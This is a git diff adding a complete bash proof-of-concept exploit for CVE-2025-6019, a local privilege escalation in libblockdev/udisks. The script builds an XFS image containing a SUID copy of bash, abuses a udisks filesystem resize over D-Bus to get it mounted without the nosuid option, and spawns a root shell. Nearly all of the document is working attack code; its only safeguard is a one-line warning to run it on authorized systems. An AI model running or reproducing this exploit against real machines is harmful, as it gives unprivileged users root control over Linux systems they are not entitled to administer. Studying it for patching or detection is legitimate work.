diff --git a/exploit.sh b/exploit.sh new file mode 100644 index 0000000..a7822ee --- /dev/null +++ b/exploit.sh @@ -0,0 +1,259 @@ +#!/bin/bash +# PoC for CVE-2025-6019: LPE via libblockdev/udisks +# Author: 0xabdoulaye, Team Guinea Offensive Security +# Modified to create a 300 MB XFS image and improve resize reliability +# Usage: Run as root for local mode; run as any user for target mode + +# Function to check dependencies +check_dependencies() { + local deps=("dd" "mkfs.xfs" "mount" "umount" "udisksctl" "gdbus" "killall" "grep" "chmod" "cp") + for dep in "${deps[@]}"; do + if ! command -v "$dep" &>/dev/null; then + echo "[-] Error: Required tool '$dep' is not installed." + exit 1 + fi + done + echo "[+] All dependencies are installed." +} + +# Function to check for vulnerable libblockdev/udisks +check_vulnerability() { + echo "[*] Checking for vulnerable libblockdev/udisks versions..." + if command -v udisksctl &>/dev/null; then + UDISKS_VERSION=$(udisksctl --version 2>/dev/null || echo "unknown") + echo "[*] Detected udisks version: $UDISKS_VERSION" + echo "[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown." + echo "[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks." + echo "[!] Continuing with PoC execution..." + else + echo "[-] Error: udisksctl not found. Ensure udisks2 is installed." + exit 1 + fi +} + +# Function to create a 300 MB XFS image on local machine +create_xfs_image() { + echo "[*] Creating a 300 MB XFS image on local machine..." + # Check for root privileges + if [ "$(id -u)" -ne 0 ]; then + echo "[-] Error: Root privileges required to create XFS image." + exit 1 + fi + + # Create 300 MB image + if ! dd if=/dev/zero of=./xfs.image bs=1M count=300 status=progress; then + echo "[-] Error: Failed to create xfs.image." + exit 1 + fi + + # Format as XFS with default parameters + if ! mkfs.xfs -f ./xfs.image; then + echo "[-] Error: Failed to format xfs.image as XFS." + rm -f ./xfs.image + exit 1 + fi + + # Create and mount directory + mkdir -p ./xfs.mount || { echo "[-] Error: Failed to create xfs.mount directory."; rm -f ./xfs.image; exit 1; } + if ! mount -t xfs ./xfs.image ./xfs.mount; then + echo "[-] Error: Failed to mount xfs.image." + rm -rf ./xfs.image ./xfs.mount + exit 1 + fi + + # Verify sufficient space for /bin/bash + BASH_SIZE=$(stat -c %s /bin/bash 2>/dev/null || echo 0) + if [ "$BASH_SIZE" -eq 0 ]; then + echo "[-] Error: /bin/bash not found or inaccessible." + umount ./xfs.mount + rm -rf ./xfs.image ./xfs.mount + exit 1 + fi + AVAILABLE_SPACE=$(df --block-size=1 ./xfs.mount | tail -1 | awk '{print $4}') + if [ "$AVAILABLE_SPACE" -lt "$BASH_SIZE" ]; then + echo "[-] Error: Insufficient space on XFS image for /bin/bash ($BASH_SIZE bytes needed, $AVAILABLE_SPACE available)." + umount ./xfs.mount + rm -rf ./xfs.image ./xfs.mount + exit 1 + fi + + # Copy bash and set SUID + if ! cp /bin/bash ./xfs.mount/bash; then + echo "[-] Error: Failed to copy /bin/bash." + umount ./xfs.mount + rm -rf ./xfs.image ./xfs.mount + exit 1 + fi + if ! chmod 4755 ./xfs.mount/bash; then + echo "[-] Error: Failed to set SUID on bash." + umount ./xfs.mount + rm -rf ./xfs.image ./xfs.mount + exit 1 + fi + + # Unmount + if ! umount ./xfs.mount; then + echo "[-] Error: Failed to unmount xfs.mount." + rm -rf ./xfs.image ./xfs.mount + exit 1 + fi + + rm -rf ./xfs.mount + echo "[+] 300 MB XFS image created: ./xfs.image" + echo "[*] Transfer to target with: scp xfs.image @:" +} + +# Function to exploit vulnerability on target +exploit_target() { + echo "[*] Starting exploitation on target machine..." + # Check allow_active status + echo "[*] Checking allow_active status..." + if ! gdbus call --system --dest org.freedesktop.login1 \ + --object-path /org/freedesktop/login1 \ + --method org.freedesktop.login1.Manager.CanReboot | grep -q "('yes',)"; then + echo "[-] Error: allow_active status not obtained. Exploitation may fail." + echo "[-] Try exploiting CVE-2025-6018 first if applicable." + exit 1 + fi + echo "[+] allow_active status confirmed." + + # Check for xfs.image + if [ ! -f ./xfs.image ]; then + echo "[-] Error: xfs.image not found. Transfer it to the target first." + exit 1 + fi + + # Verify xfs.image integrity + echo "[*] Verifying xfs.image integrity..." + if ! file ./xfs.image | grep -q "XFS filesystem"; then + echo "[-] Error: xfs.image is not a valid XFS filesystem. Recreate it using [L]ocal mode." + exit 1 + fi + + # Stop gvfs-udisks2-volume-monitor + echo "[*] Stopping gvfs-udisks2-volume-monitor..." + killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || echo "[*] Note: gvfs-udisks2-volume-monitor was not running." + + # Set up loop device + echo "[*] Setting up loop device..." + LOOP_DEV=$(udisksctl loop-setup --file ./xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*') + if [ -z "$LOOP_DEV" ]; then + echo "[-] Error: Failed to set up loop device." + exit 1 + fi + echo "[+] Loop device configured: $LOOP_DEV" + + # Keep filesystem busy + echo "[*] Keeping filesystem busy to prevent unmounting..." + while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null & + LOOP_PID=$! + echo "[+] Background loop started (PID: $LOOP_PID)" + + # Resize filesystem to trigger mount with retries + echo "[*] Resizing filesystem to trigger mount..." + for i in {1..3}; do + gdbus call --system --dest org.freedesktop.UDisks2 \ + --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \ + --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' > gdbus_output.txt 2>&1 + if grep -q "Error resizing filesystem" gdbus_output.txt; then + echo "[+] Mount successful (expected error: target is busy)." + break + fi + echo "[*] Attempt $i: Unexpected response during filesystem resize, retrying in 1 second..." + echo "[*] gdbus output:" + cat gdbus_output.txt + echo "[*] Checking udisks2 service status..." + systemctl status udisks2 --no-pager 2>/dev/null || echo "[*] udisks2 service not running or inaccessible." + sleep 1 + if [ $i -eq 3 ]; then + echo "[-] Error: Failed to resize filesystem after 3 attempts." + echo "[*] Debugging: Check udisks2 logs with 'journalctl -xe -u udisks2'" + echo "[*] Manual check: Run 'mount | grep /tmp/blockdev' to verify mount." + echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'" + kill $LOOP_PID 2>/dev/null + udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null + rm -f gdbus_output.txt + exit 1 + fi + done + + # Wait for mount to stabilize + echo "[*] Waiting 2 seconds for mount to stabilize..." + sleep 2 + + # Check for SUID bash with retries + echo "[*] Checking for SUID bash in /tmp/blockdev*..." + SUID_BASH="" + for i in {1..5}; do + SUID_BASH=$(find /tmp -maxdepth 2 -path "/tmp/blockdev*/bash" -perm -4000 -type f 2>/dev/null) + if [ -n "$SUID_BASH" ]; then + echo "[+] SUID bash found: $SUID_BASH" + ls -l "$SUID_BASH" + break + fi + echo "[*] Attempt $i: SUID bash not found, retrying in 1 second..." + ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found." + sleep 1 + done + + if [ -z "$SUID_BASH" ]; then + echo "[-] Error: SUID bash not found in /tmp/blockdev* after 5 attempts." + echo "[*] Debugging: Final contents of /tmp/blockdev*" + ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found." + echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'" + kill $LOOP_PID 2>/dev/null + udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null + rm -f gdbus_output.txt + exit 1 + fi + + # Execute SUID shell + echo "[*] Executing root shell..." + "$SUID_BASH" -p + if [ $? -eq 0 ]; then + echo "[+] Exploitation successful! Root shell obtained." + echo "[*] Background loop (PID: $LOOP_PID) and mount left running to preserve SUID binary." + echo "[*] SUID bash remains at: $SUID_BASH" + echo "[*] To clean up manually, run:" + echo " kill $LOOP_PID 2>/dev/null" + echo " sudo umount /tmp/blockdev* 2>/dev/null" + echo " sudo udisksctl loop-delete --block-device $LOOP_DEV 2>/dev/null" + echo " rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null" + else + echo "[-] Error: Failed to execute SUID shell." + # Perform cleanup on failure + echo "[*] Performing cleanup..." + kill $LOOP_PID 2>/dev/null + umount /tmp/blockdev* 2>/dev/null + udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null + rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null + echo "[+] Cleanup completed." + fi +} + +# Main script +echo "PoC for CVE-2025-6019 (LPE via libblockdev/udisks)" +echo "WARNING: Only run this on authorized systems. Unauthorized use is illegal." +read -p "Continue? [y/N]: " confirm +if [[ ! "$confirm" =~ ^[Yy]$ ]]; then + echo "[-] Aborted by user." + exit 1 +fi +check_dependencies +check_vulnerability +echo "Select mode:" +echo "[L]ocal: Create 300 MB XFS image (requires root)" +echo "[C]ible: Exploit target system" +read -p "[L]ocal or [C]ible? (L/C): " choice +case "${choice,,}" in + l|local) + create_xfs_image + ;; + c|cible) + exploit_target + ;; + *) + echo "[-] Error: Invalid choice. Use 'L' for local or 'C' for cible." + exit 1 + ;; +esac \ No newline at end of file